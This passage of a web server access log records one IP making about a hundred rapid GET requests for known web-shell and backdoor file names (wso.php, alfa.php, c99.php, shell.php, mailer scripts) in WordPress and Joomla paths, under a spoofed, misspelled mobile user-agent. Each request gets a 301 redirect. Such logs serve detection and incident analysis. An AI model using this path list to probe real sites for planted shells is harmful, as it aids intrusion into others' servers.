(KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:11:08 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:11:21 -0400] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:11:29 -0400] "GET /wp-content/fx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:11:35 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:11:39 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:11:43 -0400] "GET /gank.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:11:46 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:11:49 -0400] "GET /s_e.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:11:53 -0400] "GET /s_ne.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:11:57 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:12:03 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:12:07 -0400] "GET /moduless.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:12:12 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:12:18 -0400] "GET /legion.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:12:21 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:12:23 -0400] "GET /shells.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:12:26 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:12:29 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:12:32 -0400] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:12:34 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:12:37 -0400] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:12:42 -0400] "GET /wp-content/themes/config.bak.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:12:46 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:12:49 -0400] "GET /wp-includes/css/css.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:12:52 -0400] "GET /wp-content/uploads/wp-stream.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:12:55 -0400] "GET /wp-beckup.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:12:58 -0400] "GET /wp-blog-post.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:13:01 -0400] "GET /wp-content/uploads/wp-blockdown.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:13:04 -0400] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:13:06 -0400] "GET /wp-admin/style.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:13:09 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:13:15 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:13:22 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:13:27 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:13:32 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:13:37 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:13:41 -0400] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:13:44 -0400] "GET /wp-includes/pomo/wp_class_datalib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:13:46 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:13:49 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:13:53 -0400] "GET /1xleet.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:13:56 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:13:59 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:14:02 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:14:04 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:14:08 -0400] "GET /4index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:14:11 -0400] "GET /5index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:14:14 -0400] "GET /6index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:14:17 -0400] "GET /7index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:14:21 -0400] "GET /8index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:14:23 -0400] "GET /9index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:14:38 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:14:42 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:14:46 -0400] "GET /am.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:14:50 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:14:54 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:14:59 -0400] "GET /demo328/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:15:02 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:15:04 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:15:07 -0400] "GET /images/sym.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:15:14 -0400] "GET /lab.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:15:19 -0400] "GET /leaf_mailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:15:25 -0400] "GET /leaf_php.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:15:29 -0400] "GET /libraries/joomla/jmail.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:15:34 -0400] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:15:36 -0400] "GET /mailer1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:15:40 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:15:43 -0400] "GET /rxr.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:15:46 -0400] "GET /srx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:15:48 -0400] "GET /tuco.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:15:51 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:15:55 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:15:57 -0400] "GET /wp-admin/css/colors/coffee/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:16:01 -0400] "GET /wp-admin/css/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:16:06 -0400] "GET /wp-admin/includes/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:16:11 -0400] "GET /wp-admin/maint/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:16:14 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:16:17 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:16:20 -0400] "GET /wp-content/plugins/xichang/x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:16:23 -0400] "GET /wp-content/plugins/zedd/1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:16:26 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:16:28 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:16:32 -0400] "GET /wp-mna.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:16:35 -0400] "GET /uploads/upload.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:16:39 -0400] "GET /wpx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:16:44 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:16:47 -0400] "GET /xhell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:16:50 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:16:54 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:16:56 -0400] "GET /yuuki.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:16:59 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:17:01 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:17:04 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - 